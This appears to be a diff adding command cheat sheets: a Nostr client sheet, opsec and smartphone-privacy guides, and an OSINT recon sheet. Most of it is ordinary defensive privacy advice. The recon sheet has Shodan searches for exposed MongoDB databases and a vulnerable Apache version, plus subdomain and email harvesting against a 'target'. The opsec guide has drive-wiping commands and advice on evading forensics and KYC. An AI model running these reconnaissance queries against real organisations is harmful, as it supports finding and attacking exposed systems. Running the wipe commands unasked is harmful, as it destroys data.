+nak req -k 1 -t t=<hashtag> -l <limit> <relay_url>
+
+# Write DRY RUN: no relays at the end = prints the signed event, does NOT publish
+nak event -k 1 -c "<content>" --sec <nsec_or_hex_key>
+
+# Write & PUBLISH: add one or more relay URLs at the end
+nak event -k 1 -c "<content>" --sec <key> <relay_url> <relay_url_2>
+
+# Payment-pointer event (NIP-A3, kind 10133) — each -t 'payto=x;y' becomes ["payto","x","y"]
+nak event -k 10133 -t 'payto=xmr;<your_xmr_subaddress>' -t 'payto=lightning;<your_lud16>' --sec <key> <relay_url> <relay_url_2>
+
+# Sign via a remote bunker (NIP-46 / Amber) instead of a local --sec key — confirm exact flag
+nak event --help
+
+# Help for any subcommand (decode, encode, req, event, ...)
+nak <subcommand> --help
+
+$ relay_url: echo 'wss://nos.lol wss://relay.damus.io wss://relay.primal.net wss://relay.nostr.band' | tr ' ' '\n'

opsec.cheat

@@ -0,0 +1,505 @@
+% opsec, operational-security, privacy, anonymity, security-culture
+
+# ============================================================================
+# OPERATIONAL SECURITY (OPSEC) FUNDAMENTALS
+# ============================================================================
+
+# OPSEC Definition
+# Identifying critical information and preventing adversaries from obtaining it
+
+# The 5-Step OPSEC Process
+# 1. Identify critical information
+# 2. Analyze threats
+# 3. Analyze vulnerabilities
+# 4. Assess risk
+# 5. Apply appropriate countermeasures
+
+# Core Principle: Assume breach
+# Design systems assuming adversary has partial access
+
+# ============================================================================
+# THREAT MODELING
+# ============================================================================
+
+# Questions to answer:
+# - What am I trying to protect?
+# - Who am I trying to protect it from?
+# - How bad are the consequences if I fail?
+# - How likely is the threat to occur?
+# - How much trouble am I willing to go through?
+
+# Common threat actors:
+# - Government surveillance (NSA, Five Eyes)
+# - Corporations (data brokers, ad tech)
+# - Cybercriminals (ransomware, identity theft)
+# - Domestic abusers / stalkers
+# - Employers / schools
+# - Oppressive regimes
+
+# Threat model examples:
+# Journalist: Government surveillance, source protection
+# Activist: Surveillance, doxxing, physical threats
+# Average user: Corporate tracking, data breaches
+# Criminal: Law enforcement, forensics
+
+# ============================================================================
+# IDENTITY COMPARTMENTALIZATION
+# ============================================================================
+
+# Separate identities for different contexts
+# - Legal name identity (government, banking)
+# - Professional identity (work, LinkedIn)
+# - Personal identity (friends, social media)
+# - Anonymous identity (activism, research)
+# - Pseudonymous identities (online communities)
+
+# Never cross-contaminate identities
+# Use different: emails, phones, browsers, devices, accounts
+
+# Example separation:
+# Real Name → Banking, taxes, medical
+# Work Name → Professional email, LinkedIn, conferences
+# Handle1 → Twitter, Reddit, public discussions
+# Handle2 → Security research, bug bounties
+# Anonymous → Tor, whistleblowing, sensitive research
+
+# ============================================================================
+# ACCOUNT SECURITY HYGIENE
+# ============================================================================
+
+# Password management
+# Use password manager (Bitwarden, KeePassXC, 1Password)
+# Unique password per account (30+ characters)
+# Enable 2FA everywhere (TOTP > SMS > nothing)
+# Use hardware keys (YubiKey, Nitrokey) for critical accounts
+
+# Password generation
+pwgen -s 32 1
+
+# Check if email in breach (HIBP)
+curl "https://haveibeenpwned.com/api/v3/breachedaccount/email@example.com"
+
+# Account security checklist
+# [ ] Unique strong password
+# [ ] 2FA enabled (TOTP or hardware key)
+# [ ] Recovery email set (separate identity)
+# [ ] Security questions (use fake answers stored in password manager)
+# [ ] Login notifications enabled
+# [ ] Review connected apps/permissions quarterly
+# [ ] Remove unused accounts
+
+# ============================================================================
+# COMMUNICATION SECURITY
+# ============================================================================
+
+# Secure messaging hierarchy (best to worst)
+# 1. Signal (E2EE, metadata resistance, open source)
+# 2. Wire (E2EE, self-hosted option)
+# 3. Element/Matrix (E2EE, federated, self-hosted)
+# 4. Telegram (not E2EE by default, metadata leaks)
+# 5. WhatsApp (E2EE but owned by Meta)
+# 6. SMS (unencrypted, avoid)
+
+# Email security
+# - Use ProtonMail or Tutanota for sensitive emails
+# - PGP/GPG for encryption (see gpg.cheat)
+# - Assume all email is compromised (even encrypted)
+# - Use temporary emails for signups (guerrillamail, temp-mail)
+
+# Voice calls
+# - Signal for encrypted calls
+# - Avoid regular phone calls for sensitive topics
+# - Use burner phones for high-threat scenarios
+
+# ============================================================================
+# DEVICE SECURITY
+# ============================================================================
+
+# Full disk encryption (FDE)
+# Linux: LUKS (see veracrypt.cheat)
+sudo cryptsetup luksFormat /dev/sdX
+sudo cryptsetup luksOpen /dev/sdX encrypted_drive
+
+# Check if encrypted
+lsblk -f
+
+# macOS: FileVault
+# System Preferences → Security & Privacy → FileVault → Turn On
+
+# Windows: BitLocker
+# Control Panel → BitLocker Drive Encryption
+
+# Screen lock policy
+# Lock after 5 minutes idle
+# Require password immediately after sleep
+xset s 300 5
+xset dpms 600 600 600
+
+# BIOS/UEFI password
+# Prevents unauthorized boot device changes
+
+# Secure boot
+# Prevents bootkit/rootkit attacks
+# Enable in BIOS/UEFI
+
+# ============================================================================
+# PHYSICAL SECURITY
+# ============================================================================
+
+# Device protection
+# - Never leave devices unattended
+# - Use privacy screens (3M privacy filters)
+# - Tape over cameras when not in use
+# - Disable microphone in BIOS (if possible)
+# - Use RFID-blocking wallet
+# - Faraday bag for phones (blocks all signals)
+
+# Travel security
+# - Use burner laptop/phone for sensitive travel
+# - Encrypt all drives before crossing borders
+# - Back up data before travel, wipe device
+# - Assume devices compromised after crossing hostile borders
+# - Never unlock devices under duress (know your rights)
+
+# Home security
+# - Lock devices when leaving room
+# - Store backups in fireproof safe
+# - Keep hardware keys in separate location
+# - Shred sensitive documents (cross-cut shredder)
+
+# ============================================================================
+# METADATA AWARENESS
+# ============================================================================
+
+# Metadata is data about data
+# Examples:
+# - Photos: GPS, camera model, timestamp
+# - Documents: author, edit history, software version
+# - Emails: sender, recipient, timestamp, IP
+# - Files: creation date, modification date, MAC addresses
+
+# Remove metadata (see metadata-removal.cheat)
+exiftool -all= file.jpg
+
+# Metadata you can't avoid:
+# - ISP knows your browsing (use VPN)
+# - Email headers reveal IP (use Tor)
+# - Phone company knows location (use airplane mode)
+# - Signal server knows when you're online (use sealed sender)
+
+# ============================================================================
+# NETWORK SECURITY
+# ============================================================================
+
+# Home network hardening
+# - Change default router password
+# - Disable WPS
+# - Use WPA3 (or WPA2 if WPA3 unavailable)
+# - Disable UPnP
+# - Disable remote management
+# - Change default SSID (don't include personal info)
+# - Enable router firewall
+# - Segment IoT devices (separate VLAN)
+
+# VPN usage (see vpn.cheat)
+# Use for:
+# - Public WiFi
+# - Torrenting
+# - Hiding traffic from ISP
+# - Geo-restriction bypass
+
+# Don't use VPN for:
+# - Banking (flags fraud detection)
+# - Anything requiring your real identity
+# - Tor (use Tor alone or VPN → Tor)
+
+# DNS security
+# Use encrypted DNS (DoH or DoT)
+# Options: Cloudflare 1.1.1.1, Quad9 9.9.9.9
+
+# Configure DoH in Firefox
+# about:config → network.trr.mode = 2
+# network.trr.uri = https://mozilla.cloudflare-dns.com/dns-query
+
+# ============================================================================
+# SOCIAL ENGINEERING DEFENSES
+# ============================================================================
+
+# Phishing awareness
+# Check sender email carefully (look for typos)
+# Hover over links before clicking
+# Don't trust urgent requests
+# Verify requests through separate channel
+# Never give passwords over phone/email
+
+# Vishing (voice phishing)
+# Verify caller identity
+# Call back on known number
+# Don't give info over phone
+# Be suspicious of urgency
+
+# Pretexting
+# Don't overshare on social media
+# Use fake answers for security questions
+# Limit public information
+
+# ============================================================================
+# ONLINE FOOTPRINT REDUCTION
+# ============================================================================
+
+# Audit online presence
+# Google yourself (all name variations)
+# Check data broker sites (Spokeo, BeenVerified, WhitePages)
+# Search email addresses
+# Review old social media posts
+
+# Remove information from data brokers
+# Opt out of: Spokeo, WhitePages, PeopleFinder, Intelius
+# Use removal services: DeleteMe, Privacy Duck
+
+# Social media privacy settings
+# Facebook: Settings → Privacy → Limit past posts
+# Twitter: Protected tweets, limit tagging
+# Instagram: Private account, review followers
+# LinkedIn: Limit profile visibility
+
+# Delete old accounts
+# Use: https://justdelete.me/
+# Or: Account → Settings → Delete Account
+
+# ============================================================================
+# SECURE COMPUTING HABITS
+# ============================================================================
+
+# Software updates
+# Enable automatic updates for:
+# - Operating system
+# - Browser
+# - Security software
+# - All applications
+
+# Check for updates manually
+sudo apt update && sudo apt upgrade
+brew update && brew upgrade
+
+# Antivirus/EDR (if needed)
+# Linux: ClamAV
+sudo apt install clamav
+sudo freshclam
+clamscan -r /home/
+
+# Firewall
+# Enable UFW (Linux)
+sudo ufw enable
+sudo ufw default deny incoming
+sudo ufw default allow outgoing
+
+# Check firewall status
+sudo ufw status verbose
+
+# ============================================================================
+# BACKUP STRATEGY (3-2-1 RULE)
+# ============================================================================
+
+# 3-2-1 Backup Rule
+# 3 copies of data
+# 2 different storage types
+# 1 offsite copy
+
+# Backup tools
+# Linux: rsync, restic, borg
+# macOS: Time Machine
+# Cross-platform: Duplicati, rclone
+
+# Encrypted backups (restic)
+restic init --repo /backup/location
+restic backup /home/user --repo /backup/location
+
+# Cloud backup (encrypted)
+# Rclone to cloud storage
+rclone sync /home/user remote:backup --encrypt
+
+# Test backups regularly
+# Restore random files monthly to verify integrity
+
+# ============================================================================
+# SECURE DISPOSAL
+# ============================================================================
+
+# Securely delete files (see secure-deletion.cheat)
+shred -vfz -n 5 sensitive_file.txt
+
+# Wipe free space
+# Linux
+sfill -f /home/
+# or
+cat /dev/urandom > /home/deleteme.dat
+rm /home/deleteme.dat
+
+# Wipe entire drive before disposal
+sudo dd if=/dev/urandom of=/dev/sdX bs=1M status=progress
+
+# Physical destruction (if necessary)
+# - Drill holes through platters
+# - Degauss magnetic media
+# - Professional shredding service
+
+# ============================================================================
+# DIGITAL HYGIENE CHECKLIST
+# ============================================================================
+
+# Daily
+# [ ] Lock screen when leaving device
+# [ ] Check for suspicious emails/messages
+# [ ] Clear browser history/cookies (if not automated)
+
+# Weekly
+# [ ] Review account login notifications
+# [ ] Check for software updates
+# [ ] Backup important data
+
+# Monthly
+# [ ] Change critical passwords (if compromised)
+# [ ] Review connected apps/permissions
+# [ ] Audit active sessions
+# [ ] Review firewall/security logs
+
+# Quarterly
+# [ ] Review threat model
+# [ ] Audit online presence (Google yourself)
+# [ ] Delete unused accounts
+# [ ] Review and rotate encryption keys
+# [ ] Test backup restoration
+
+# Yearly
+# [ ] Full security audit
+# [ ] Review all passwords (check HIBP)
+# [ ] Update emergency contacts
+# [ ] Document security procedures
+
+# ============================================================================
+# OPSEC FAILURES (WHAT NOT TO DO)
+# ============================================================================
+
+# Common mistakes:
+# ❌ Reusing passwords across accounts
+# ❌ Using SMS 2FA (SIM swapping attacks)
+# ❌ Posting travel plans on social media
+# ❌ Using real name for anonymous accounts
+# ❌ Clicking links in unsolicited emails
+# ❌ Connecting to public WiFi without VPN
+# ❌ Saving passwords in browser
+# ❌ Not encrypting sensitive files
+# ❌ Using same email for everything
+# ❌ Ignoring software updates
+# ❌ Oversharing personal information online
+# ❌ Using "forgot password" with real security questions
+# ❌ Not having backups
+
+# ============================================================================
+# OPSEC FOR HIGH-THREAT SCENARIOS
+# ============================================================================
+
+# Journalist/Activist OPSEC
+# - Use Tails OS for sensitive work
+# - Air-gapped device for sensitive documents
+# - Tor for anonymity
+# - Signal for communication
+# - Dead drops for physical exchanges
+# - Secure source protection protocols
+# - Document handling procedures
+# - Duress codes/plans
+
+# Whistleblower OPSEC
+# - Never use work devices/networks
+# - Use SecureDrop for submissions
+# - Use Tor Browser (not VPN)
+# - No personal identifiers in communications
+# - Remove all metadata from documents
+# - Consider timing of submissions (avoid obvious timing)
+
+# Cryptocurrency OPSEC
+# - Hardware wallets for storage
+# - Use mixing/tumbling services
+# - Separate identities per wallet
+# - Use Tor for transactions
+# - Never KYC with main identity
+
+# ============================================================================
+# SECURITY CULTURE
+# ============================================================================
+
+# Need to know principle
+# Only share information with those who need it
+
+# Verify trust
+# Confirm identity through multiple channels
+
+# Document security
+# Encrypt sensitive documents
+# Secure file sharing protocols
+# Clear device screen when discussing sensitive info
+
+# Meeting security
+# Check for surveillance devices
+# Use Faraday bags for phones
+# Meet in public places (CCTV is less concerning than recording)
+# Assume all electronic communications monitored
+
+# ============================================================================
+# LEGAL CONSIDERATIONS
+# ============================================================================
+
+# Know your rights (varies by country)
+# Right to remain silent
+# Right to refuse device searches (sometimes)
+# Right to attorney
+
+# Border crossings
+# Assume devices will be seized/imaged
+# Know your rights at borders (limited protections)
+# Use burner devices when possible
+
+# Warrant canaries
+# Public statement indicating no government demands
+# Removal indicates legal pressure (gag order)
+
+# ============================================================================
+# INSPECT SECRETS WITHOUT EXPOSING THEM
+# ============================================================================
+
+# Confirm a secret EXISTS without printing it
+grep -q '^API_KEY=' ~/.env && echo present || echo missing
+
+# Check a secret's length without revealing it (catch truncation/corruption)
+awk -F= '/^API_KEY=/{print length($2)}' ~/.env
+
+# Fingerprint a secret to compare two copies without showing either
+sha256sum ~/.env | cut -d' ' -f1
+
+# Verify a file's signature without exposing its contents
+gpg --verify <signature_file> <file>
+
+# NOTE: these prove a PROPERTY of a secret (exists / length / matches) — not its value.
+# That's good opsec hygiene, NOT cryptographic zero-knowledge (no soundness, no untrusting verifier).
+
+# ============================================================================
+# RESOURCES
+# ============================================================================
+
+# OPSEC Reading
+# - "The Art of Invisibility" by Kevin Mitnick
+# - "Extreme Privacy" by Michael Bazzell
+# - Security in a Box: https://securityinabox.org/
+# - EFF Surveillance Self-Defense: https://ssd.eff.org/
+
+# OPSEC Communities
+# - r/privacy (Reddit)
+# - r/opsec (Reddit)
+# - Privacy Guides: https://www.privacyguides.org/
+
+# Threat intelligence
+# - HIBP: https://haveibeenpwned.com/
+# - CVE Database: https://cve.mitre.org/
+# - Security mailing lists
+

phone-privacy.cheat

@@ -0,0 +1,604 @@
+% phone, smartphone, mobile-privacy, android, ios, grapheneos
+
+# ============================================================================
+# SMARTPHONE PRIVACY OVERVIEW
+# ============================================================================
+
+# Smartphone privacy challenges
+# - Constant location tracking (GPS, cell towers, WiFi)
+# - App permissions overreach (camera, mic, contacts)
+# - OS telemetry (Google, Apple data collection)
+# - Advertising tracking (GAID, IDFA)
+# - Carrier surveillance (call logs, SMS, location)
+# - Baseband processor (proprietary, potential backdoors)
+
+# Privacy hierarchy (best to worst)
+# 1. Dumbphone / No phone (maximum privacy, minimum functionality)
+# 2. Privacy phone (Purism Librem 5, PinePhone)
+# 3. GrapheneOS (hardened Android on Pixel)
+# 4. CalyxOS (privacy Android)
+# 5. iPhone (better than stock Android)
+# 6. Stock Android (worst)
+
+# ============================================================================
+# GRAPHENEOS (MOST PRIVATE ANDROID)
+# ============================================================================
+
+# GrapheneOS features
+# - Hardened Android (security patches, privacy improvements)
+# - Sandboxed Google Play (optional, no special privileges)
+# - Enhanced permissions (network, sensors per-app)
+# - No Google services by default
+# - Regular security updates (faster than stock)
+
+# Supported devices
+# - Google Pixel 8 Pro (recommended, 7 years updates)
+# - Google Pixel 8
+# - Google Pixel 7 Pro
+# - Google Pixel 7
+# - Older Pixels (check: grapheneos.org/faq#supported-devices)
+
+# Install GrapheneOS
+# https://grapheneos.org/install/
+
+# Web installer (easiest)
+# 1. Enable Developer Options (Settings → About → Tap Build 7 times)
+# 2. Enable OEM Unlocking (Settings → Developer Options)
+# 3. Visit: https://grapheneos.org/install/web
+# 4. Follow on-screen instructions
+# 5. Connect phone, unlock bootloader, flash
+
+# Command line install (Linux)
+# Download tools
+wget https://github.com/GrapheneOS/factory/releases/download/latest/grapheneos-install.zip
+unzip grapheneos-install.zip
+
+# Flash GrapheneOS
+./grapheneos-install.sh
+
+# First boot setup
+# Skip Google account
+# Disable cloud services
+# Set strong passphrase (not PIN)
+
+# ============================================================================
+# GRAPHENEOS HARDENING
+# ============================================================================
+
+# Enable sandboxed Google Play (if needed)
+# Apps → Apps → System apps → Google Play Services → Install
+
+# App permissions (granular control)
+# Settings → Apps → [App] → Permissions
+# Deny: Location, Camera, Microphone (unless required)
+
+# Network permission (GrapheneOS feature)
+# Settings → Apps → [App] → Network
+# Block internet for apps that don't need it
+
+# Sensors permission (GrapheneOS feature)
+# Settings → Apps → [App] → Sensors
+# Blocks accelerometer, gyroscope, etc.
+
+# Auditor app (hardware attestation)
+# Verifies device integrity
+# Install: F-Droid or GrapheneOS app store
+
+# ============================================================================
+# CALYXOS (PRIVACY ANDROID ALTERNATIVE)
+# ============================================================================
+
+# CalyxOS features
+# - Privacy-focused Android
+# - microG (open source Google Services alternative)
+# - Datura Firewall (control app network access)
+# - Seedvault backup
+# - F-Droid included
+
+# Supported devices
+# - Google Pixels (similar to GrapheneOS)
+# - Fairphone 4/5
+# - Motorola devices
+
+# Install CalyxOS
+# https://calyxos.org/install/
+
+# Web installer
+# https://calyxos.org/install/web
+
+# First boot
+# Skip Google account
+# Enable F-Droid
+# Configure Datura Firewall
+
+# ============================================================================
+# IOS PRIVACY HARDENING
+# ============================================================================
+
+# iOS advantages
+# - Better than stock Android (less Google tracking)
+# - Strong app sandboxing
+# - Regular updates (even for older devices)
+
+# iOS disadvantages
+# - Closed source (can't audit)
+# - Apple still tracks (less than Google, but not zero)
+# - Walled garden (limited customization)
+
+# iOS privacy settings
+# Settings → Privacy & Security
+
+# Location Services
+# Settings → Privacy → Location Services
+# Set per-app: Never, Ask Next Time, While Using
+
+# Disable analytics
+# Settings → Privacy → Analytics & Improvements
+# Turn OFF: Share iPhone Analytics, Share iCloud Analytics
+
+# Limit ad tracking
+# Settings → Privacy → Tracking
+# Turn OFF: Allow Apps to Request to Track
+
+# App permissions review
+# Settings → Privacy → [Permission type]
+# Review: Camera, Microphone, Contacts, Photos
+
+# Hide IP address
+# Settings → Safari → Hide IP Address → Trackers and Websites
+
+# Private Relay (iCloud+ feature)
+# Settings → [Name] → iCloud → Private Relay
+# Hides IP address from websites (VPN-like)
+
+# ============================================================================
+# ANDROID PRIVACY HARDENING (STOCK/LINEAGEOS)
+# ============================================================================
+
+# LineageOS (de-Googled Android)
+# https://lineageos.org/
+# Custom ROM without Google services
+# Supports 100+ devices
+
+# Android privacy settings
+
+# Disable Google tracking
+# Settings → Google → Manage your Google Account
+# Data & Privacy → Turn OFF: Location History, Web & App Activity
+
+# App permissions
+# Settings → Privacy → Permission manager
+# Review all permissions, revoke unnecessary
+
+# Disable personalized ads
+# Settings → Privacy → Ads
+# Turn ON: Delete advertising ID
+
+# Network permission (Android 12+)
+# Requires root or custom ROM with firewall
+
+# AFWall+ (firewall, requires root)
+# Block internet per-app
+# https://github.com/ukanth/afwall
+
+# ============================================================================
+# APP ALTERNATIVES (PRIVACY-FOCUSED)
+# ============================================================================
+
+# App stores
+# F-Droid - https://f-droid.org/ (open source apps)
+# Aurora Store (Play Store alternative, no Google account)
+
+# Browser
+# Mull (Firefox-based) - F-Droid
+# Brave Browser - Play Store / F-Droid
+# Tor Browser - https://www.torproject.org/download/#android
+
+# Messaging
+# Signal - https://signal.org/
+# Element (Matrix) - https://element.io/
+# Briar (peer-to-peer) - F-Droid
+
+# Email
+# K-9 Mail - F-Droid
+# FairEmail - F-Droid
+# ProtonMail app - Play Store / F-Droid
+
+# Maps / Navigation
+# OsmAnd - F-Droid (offline maps)
+# Organic Maps - F-Droid
+# Magic Earth - Play Store
+
+# Keyboard
+# OpenBoard - F-Droid (no network access)
+# AnySoftKeyboard - F-Droid
+# FlorisBoard - F-Droid
+
+# Camera
+# Open Camera - F-Droid
+# GrapheneOS Camera (Pixels with GrapheneOS)
+
+# Gallery
+# Simple Gallery - F-Droid
+# Fossify Gallery - F-Droid
+
+# Notes
+# Standard Notes - https://standardnotes.com/
+# Joplin - F-Droid
+# Notesnook - https://notesnook.com/
+
+# Password manager
+# Bitwarden - https://bitwarden.com/
+# KeePassDX - F-Droid
+
+# 2FA/TOTP
+# Aegis Authenticator - F-Droid
+# andOTP (deprecated, use Aegis)
+
+# ============================================================================
+# LOCATION PRIVACY
+# ============================================================================
+
+# Location tracking sources
+# - GPS (precise location)
+# - Cell towers (approximate location)
+# - WiFi networks (location database)
+# - Bluetooth beacons
+
+# Disable location completely
+# Settings → Location → Turn OFF
+
+# Disable location scanning (Android)
+# Settings → Location → Location Services → Wi-Fi scanning (OFF)
+# Settings → Location → Location Services → Bluetooth scanning (OFF)
+
+# Per-app location permissions
+# Allow only when using app (not "Always")
+
+# Airplane mode (nuclear option)
+# Disables: Cell, WiFi, Bluetooth, GPS
+# Use when not needing connectivity
+
+# Remove SIM card
+# Prevents cell tower tracking
+# Can still use WiFi for data
+
+# Faraday bag
+# Blocks all signals (cell, GPS, WiFi, Bluetooth)
+# Test: Call phone while in bag (shouldn't ring)
+
+# ============================================================================
+# NETWORK PRIVACY
+# ============================================================================
+
+# VPN on mobile
+# See vpn.cheat (to be created)
+# Recommended: Mullvad, IVPN, ProtonVPN
+
+# Orbot (Tor for Android)
+# Routes traffic through Tor
+# https://guardianproject.info/apps/org.torproject.android/
+
+# Install Orbot
+# F-Droid → Orbot
+# Or: Play Store → Orbot
+
+# Use Orbot with apps
+# Orbot → Start → Select apps to route through Tor
+
+# DNS encryption
+# Android 9+: Settings → Network → Private DNS
+# Use: dns.quad9.net or 1dot1dot1dot1.cloudflare-dns.com
+
+# ============================================================================
+# PERMISSION MANAGEMENT
+# ============================================================================
+
+# Review all app permissions
+# Settings → Apps → [App] → Permissions
+
+# Dangerous permissions (require approval)
+# - Location (GPS, coarse location)
+# - Camera
+# - Microphone
+# - Contacts
+# - Call logs
+# - SMS
+# - Storage (photos, files)
+
+# Grant permissions sparingly
+# Games don't need contacts
+# Flashlight doesn't need location
+# Wallpaper app doesn't need microphone
+
+# One-time permissions (Android 11+)
+# Grant permission for single use
+# App must re-request next time
+
+# Permission auto-reset (Android 11+)
+# Settings → Apps → Unused apps
+# Automatically revoke permissions for unused apps
+
+# ============================================================================
+# CARRIER PRIVACY
+# ============================================================================
+
+# Carrier tracking
+# - Call logs (who you call, when, duration)
+# - SMS content (unencrypted)
+# - Real-time location (cell tower triangulation)
+# - Metadata (even if using Signal)
+
+# Reduce carrier tracking
+# Use VoIP for calls (Signal, Matrix)
+# Use encrypted messengers (Signal) instead of SMS
+# Use VPN to hide data traffic content
+
+# Anonymous SIM card
+# Prepaid SIM, bought with cash
+# Register with fake info (where legal)
+# Swap SIM regularly (burner SIMs)
+
+# Silent Link (privacy-focused carrier, USA)
+# https://silent.link/
+# Crypto payments, no KYC
+
+# ============================================================================
+# SENSOR PRIVACY
+# ============================================================================
+
+# Sensors on smartphones
+# - Accelerometer, gyroscope (motion tracking)
+# - Magnetometer (compass)
+# - Barometer (altitude)
+# - Proximity sensor
+# - Ambient light sensor
+
+# Sensor fingerprinting
+# Apps can identify device by sensor data
+# No permission required (Android)
+
+# GrapheneOS sensor permission
+# Blocks sensor access per-app
+# Settings → Apps → [App] → Sensors → Deny
+
+# Sensor access on other Android
+# Requires custom ROM or root
+
+# iOS sensor access
+# Motion & Fitness permission (Settings → Privacy → Motion & Fitness)
+
+# ============================================================================
+# CAMERA & MICROPHONE PRIVACY
+# ============================================================================
+
+# Camera/mic are surveillance risks
+# Malware can secretly record
+
+# Physical camera cover
+# Slide cover, tape (low-tech but effective)
+
+# Indicator light (iOS 14+, Android 12+)
+# Orange dot: Microphone active
+# Green dot: Camera active
+
+# Revoke camera/mic permissions
+# Settings → Privacy → Camera/Microphone
+# Only allow for apps actively using them
+
+# ============================================================================
+# BIOMETRIC PRIVACY
+# ============================================================================
+
+# Fingerprint sensor
+# Convenient but vulnerable (forced unlock)
+# Can be compelled by law enforcement (varies by jurisdiction)
+
+# Face unlock
+# Similar concerns as fingerprint
+# 3D facial recognition more secure than 2D
+
+# Recommendations
+# Use biometric + strong PIN/password
+# Or: Strong password only (more secure)
+
+# Disable biometric under duress
+# iOS: Press power button 5 times (requires password)
+# Android: Varies by device (check settings)
+
+# ============================================================================
+# ENCRYPTION
+# ============================================================================
+
+# Enable full device encryption
+# Modern phones: Encrypted by default
+# Older Android: Settings → Security → Encrypt phone
+
+# Strong lockscreen password
+# Use password (not PIN, not pattern)
+# 10+ characters, alphanumeric
+
+# Encryption at rest
+# All data encrypted when phone locked
+# Decrypted when unlocked
+
+# Secure enclave (iOS) / StrongBox (Android)
+# Hardware-backed encryption
+# Keys never leave secure element
+
+# ============================================================================
+# SECURE COMMUNICATION
+# ============================================================================
+
+# Signal (end-to-end encrypted messaging)
+# https://signal.org/
+# Encrypted: Messages, calls, video calls
+
+# Signal hardening
+# Settings → Privacy → Screen Lock (ON)
+# Settings → Privacy → Screen Security (prevent screenshots)
+# Settings → Privacy → Disappearing Messages (default 1 week)
+
+# Matrix/Element (federated, E2EE)
+# https://element.io/
+# Similar to Signal, but federated (no single point of failure)
+
+# Briar (peer-to-peer, offline)
+# https://briarproject.org/
+# No central servers, works over Bluetooth/WiFi
+
+# ============================================================================
+# CLOUD SYNC PRIVACY
+# ============================================================================
+
+# Disable cloud backups (or encrypt first)
+# Google/Apple can access cloud backups
+
+# Android backup
+# Settings → Google → Backup → Turn OFF
+# Or: Use Seedvault (local encrypted backups)
+
+# iOS backup
+# Settings → [Name] → iCloud → iCloud Backup → Turn OFF
+# Or: Encrypted local backups via iTunes
+
+# Photo sync (disable or encrypt)
+# Google Photos - Tracks, identifies faces
+# iCloud Photos - Apple has access
+# Alternative: Encrypted self-hosted (Nextcloud)
+
+# ============================================================================
+# BURNER PHONE / OPSEC
+# ============================================================================
+
+# Burner phone use case
+# High-risk scenarios, anonymous communication
+
+# Burner phone requirements
+# - Cheap prepaid phone
+# - Cash purchase (no name)
+# - Prepaid SIM (no KYC)
+# - Never linked to real identity
+
+# Burner phone rules
+# - Don't use near home/work
+# - Don't connect to known WiFi
+# - Don't login to personal accounts
+# - Dispose after use (or long-term storage off-site)
+
+# Virtual burner (app)
+# Hushed - https://hushed.com/
+# Burner - https://www.burnerapp.com/
+# Gives temporary phone number
+# Calls/SMS forwarded to real phone
+
+# ============================================================================
+# ANTI-THEFT & REMOTE WIPE
+# ============================================================================
+
+# Find My Device (Android)
+# Settings → Security → Find My Device → Turn ON
+# Allows remote locate, lock, wipe
+
+# Find My (iOS)
+# Settings → [Name] → Find My → Find My iPhone → Turn ON
+
+# Remote wipe
+# If phone stolen/seized, wipe remotely
+# Android: android.com/find
+# iOS: icloud.com/find
+
+# Auto-wipe on failed attempts
+# iOS: Settings → Face ID & Passcode → Erase Data (after 10 failed attempts)
+# Android: Requires custom ROM or third-party app
+
+# ============================================================================
+# MOBILE PRIVACY CHECKLIST
+# ============================================================================
+
+# Setup
+# [ ] Use GrapheneOS (Pixel) or CalyxOS
+# [ ] Strong passphrase (not PIN/pattern)
+# [ ] Enable encryption (default on modern devices)
+# [ ] Disable unnecessary permissions
+# [ ] Install F-Droid for open source apps
+# [ ] Disable cloud backups (or encrypt)
+# [ ] Enable VPN for mobile data
+
+# Daily use
+# [ ] Location OFF when not needed
+# [ ] Review app permissions monthly
+# [ ] Use Signal for sensitive communication
+# [ ] Airplane mode in high-risk situations
+# [ ] Cover camera when not in use
+
+# Advanced
+# [ ] Use Orbot (Tor) for sensitive browsing
+# [ ] Use encrypted DNS
+# [ ] Faraday bag for maximum privacy
+# [ ] Burner SIM for anonymous communication
+
+# ============================================================================
+# PRIVACY PHONES (HARDWARE)
+# ============================================================================
+
+# Purism Librem 5
+# https://puri.sm/products/librem-5/
+# Linux phone (PureOS)
+# Hardware kill switches (camera, mic, WiFi, cell)
+# Open hardware design
+
+# PinePhone
+# https://www.pine64.org/pinephone/
+# Linux phone (multiple OS options)
+# Privacy-focused, affordable
+# Hardware switches
+
+# Fairphone (with custom ROM)
+# https://www.fairphone.com/
+# Ethical smartphone
+# Install CalyxOS or /e/OS for privacy
+
+# ============================================================================
+# DUMBPHONE (MAXIMUM PRIVACY)
+# ============================================================================
+
+# Dumbphone advantages
+# - No apps (no tracking)
+# - No GPS (approximate location only)
+# - Long battery life
+# - Cheap, disposable
+
+# Dumbphone disadvantages
+# - Basic features only (calls, SMS)
+# - No encryption (SMS unencrypted)
+# - No smartphone apps (Signal, etc.)
+
+# Recommended dumbphones
+# Nokia 8110 4G (KaiOS, somewhat privacy-hostile)
+# Light Phone II (minimalist, privacy-focused)
+# Sunbeam F1 (anti-smartphone)
+
+# ============================================================================
+# RESOURCES
+# ============================================================================
+
+# Privacy guides
+# Privacy Guides: https://www.privacyguides.org/android/
+# EFF Mobile Security: https://ssd.eff.org/en/module/keeping-your-data-safe
+
+# Custom ROMs
+# GrapheneOS: https://grapheneos.org/
+# CalyxOS: https://calyxos.org/
+# LineageOS: https://lineageos.org/
+
+# Tools
+# F-Droid: https://f-droid.org/
+# Orbot: https://guardianproject.info/apps/org.torproject.android/
+# Signal: https://signal.org/
+
+# Communities
+# r/GrapheneOS (Reddit)
+# r/privacy (Reddit)
+# XDA Developers forums
+

recon-advanced.cheat

@@ -0,0 +1,62 @@
+% recon-advanced, osint
+
+# Search for breached credentials (Have I Been Pwned)
+curl "https://haveibeenpwned.com/api/v3/breachedaccount/<email>" -H "hibp-api-key: <api_key>"
+$ email: echo -e "user@example.com"
+
+# Search Shodan for specific service
+shodan search <query>
+$ query: echo -e "apache\nnginx\nIIS\napache 2.4.49"
+
+# Hunt for exposed databases on Shodan
+shodan search "product:MongoDB"
+
+# Certificate transparency search (find subdomains)
+curl -s "https://crt.sh/?q=%25.<domain>&output=json" | jq -r '.[].name_value' | sort -u
+$ domain: echo -e "example.com\ntarget.com"
+
+# Hunter.io email discovery
+curl "https://api.hunter.io/v2/domain-search?domain=<domain>&api_key=<api_key>"
+$ domain: echo -e "example.com\ntarget.com"
+
+# Check Flare breach data
+# Visit: https://flare.io (web-based search)
+
+# Search PasteBin dumps (NetBootCamp)
+# Visit: https://netbootcamp.org/pastesearch.html
+# Or Intel Techniques: https://inteltechniques.com/osint/pastebins.html
+
+# Check BeenVerified for person intel
